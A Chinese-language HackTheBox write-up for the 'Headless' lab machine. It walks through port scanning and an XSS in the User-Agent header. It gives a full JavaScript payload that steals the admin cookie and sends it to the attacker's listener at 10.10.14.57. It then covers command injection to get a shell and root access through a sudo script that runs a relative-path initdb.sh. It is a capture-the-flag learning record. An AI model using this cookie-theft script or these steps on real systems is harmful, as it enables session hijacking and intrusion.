Headless是HackTheBox上一个简单难度的靶机,我做下来感觉确实很简单、一共花了2.25小时。之所以这个靶机简单,是因为攻击路径很明确,而且攻击手法也不复杂。如果你想找一个靶机来找自信的话,Headless是一个很好的选择。

靶场信息

完成靶机需要的知识:

  • XSS
  • 命令注入
  • Bash脚本

信息收集

端口扫描

kali@kali ~/D/H/M/Headless> nmap -Pn -p- -n --min-rate 2000 -T4 $target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 17:24 CST
Nmap scan report for 10.129.130.191
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp

Nmap done: 1 IP address (1 host up) scanned in 34.68 seconds

kali@kali ~/D/H/M/Headless> sudo nmap -Pn -p- -n --min-rate 2000 -T4 -sU $target
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 17:25 CST
Warning: 10.129.130.191 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.130.191
Host is up (0.30s latency).
All 65535 scanned ports on 10.129.130.191 are in ignored states.
Not shown: 65308 open|filtered udp ports (no-response), 227 closed udp ports (port-unreach)

Nmap done: 1 IP address (1 host up) scanned in 230.63 seconds

靶机只开放了22和5000端口。

5000端口

web as user

5000端口对应是WEB服务,响应头的Server字段是Werkzeug/2.2.2 Python/3.11.2,大概率是Flask应用。同时Cookie字段的第一部分InVzZXIi解码之后对应的内容是user,猜测需要拿管理员用户Cookie。

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.11.2
Date: Mon, 25 Mar 2024 14:25:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2799
Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
Connection: close

首页只有一个提交技术支持的按钮,点击后跳转至/support,提供表单输入。

在Message字段尝试插入图片时,会提示检测到攻击:

有趣的是表单会把HTTP请求头参数全部显示出来,尝试在HTTP请求头User-Agent字段中插入XSS攻击payload,可以成功拿到回显。

web as admin

easy mode

通过XSS拿没有HTTP-only的Cookie应该是比较简单的,可以在浏览器的Console界面测试:
alt text

将payload放在User-Agent字段之后成功读取到管理员用户的Cookie,payload很简单、这里就不贴出来了。需要说明的是payload前后分别添加了</pre><pre>用以补全html、实现XSS代码的执行。
alt text

difficult mode

可能时功夫不到家的缘故,我自己做题时没有想到这么简单的办法。我的办法类似于通过XSS实现代理,提交恶意信息给/support并通过回显得到HTTP请求头里的Cookie信息。

完整Javascript代码如下:

var url = "http://localhost:5000/support";
var isPostReq = true;
var postData = 'fname=a&lname=a&email=aaa%40aaa.com&phone=a&message=%3Cimg+src%3D%22http%3A%2F%2F10.10.14.57%3A8889%22%3E';
var receiverUrl = "http://10.10.14.57:8889/";

const xhr = new XMLHttpRequest();
if(isPostReq){
xhr.open("POST", url, true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
}
else{
xhr.open("GET", url, true);
}
// xhr.withCredentials = true;

xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var output = xhr.responseText;

if (xhr.status === 200) {
const xhr1 = new XMLHttpRequest();
xhr1.open("POST", receiverUrl, true);
xhr1.send("request succeed, output is "+output);
} else {
const xhr1 = new XMLHttpRequest();
xhr1.open("POST", receiverUrl, true);
xhr1.send("request failed, output is "+output);
}
}
}

if(isPostReq){
xhr.send(postData);
}
else{
xhr.send(null);
}

通过Flask托管,并在UA中植入,可以实现请求的模拟及响应体的回传,同样可以得到管理员用户的Cookie:
alt text

此外,在js编写脚本时可以在浏览器里创建一个测试的html,根据Console界面的报错debug。
我在尝试POST请求时漏添加了Content-Type的请求头,导致服务端报500错误,在这里浪费了一些时间。

shell as user

拿到web后台权限之后,尝试访问http://localhost:5000/hacking_reports/76005070973568988161982接口,提示报告不存在。

再次进行目录扫描,得到了/dashboard

kali@kali ~/D/H/M/Headless> ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://10.129.130.191:5000/FUZZ -mc all -fs 207 -H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0"

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.129.130.191:5000/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
:: Header : Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 207
________________________________________________

support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 258ms]
dashboard [Status: 200, Size: 2000, Words: 667, Lines: 73, Duration: 262ms]
[Status: 200, Size: 2799, Words: 963, Lines: 96, Duration: 262ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

在BurpSuite的Proxy设置中进行Cookie的设置:
alt text

后台界面功能很简单,只有一个检查服务器状态按钮:
alt text

抓包判断十有八九存在命令注入,简单尝试证实了想法:
alt text

使用Python3的Payload成功拿下用户的shell:
alt text

shell as root

拿到用户权限之后,照例跑一遍linpeas.sh,整理报告里有用信息:

root         968  0.0  0.0   9088  3364 ?        S    05:39   0:00  _ /usr/sbin/CRON -f
dvir 990 0.0 0.0 2576 912 ? Ss 05:39 0:00 _ /bin/sh -c /usr/bin/python3 /home/dvir/app/inspect_reports.py
dvir 995 0.0 0.7 37556 28600 ? S 05:39 0:00 _ /usr/bin/python3 /home/dvir/app/inspect_reports.py
dvir 1093 0.0 0.0 9012 4000 ? Sl 05:39 0:00 _ geckodriver --port 47839 --websocket-port 39933
dvir 1162 1.1 7.8 2745228 314924 ? Sl 05:39 8:14 _ firefox-esr --marionette --headless --remote-debugging-port 39933 --remote-allow-hosts localhost -no-remote -profile /tmp/rust_mozprofileuc2z55

dvir 1152 0.1 0.9 474864 37096 ? Ssl 05:39 0:50 /usr/bin/python3 /home/dvir/app/app.py

@reboot /usr/bin/python3 /home/dvir/app/inspect_reports.py

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck

╔══════════╣ Mails (limit 50)
131912 4 -rw-r--r-- 1 root mail 772 Sep 10 2023 /var/mail/dvir
131912 4 -rw-r--r-- 1 root mail 772 Sep 10 2023 /var/spool/mail/dvir

查看邮件内容:

(remote) dvir@headless:/home/dvir$ cat /var/mail/dvir
Subject: Important Update: New System Check Script

Hello!

We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.

What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.

Rest assured, this script is at your disposal and won't affect your regular use of the system.

If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.

By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless

不需要密码也能sudo的脚本内容是:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi

exit 0

脚本会执行当前目录的initdb.sh文件,随便写个文件传上去就可以:

(remote) dvir@headless:/home/dvir$ chmod +x initdb.sh
(remote) dvir@headless:/home/dvir$ sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average: 0.02, 0.06, 0.05
Database service is not running. Starting it...
3a4fee9b1f3562a03d089f44acb2bced
(remote) dvir@headless:/home/dvir$

总结

我是第一次在HackTheBox上遇到这么简单的靶机,我在靶机发布约17小时之后做完、靶机排名950+,这也从侧面反映了靶机的难度确实不高。

不过就算这么简单的机器,我也在XSS那里卡了壳,功夫还是不到家、不那么熟练。

另外,我以为简单机器的题解我编写起来会简单些,结果也是还花了一个半小时。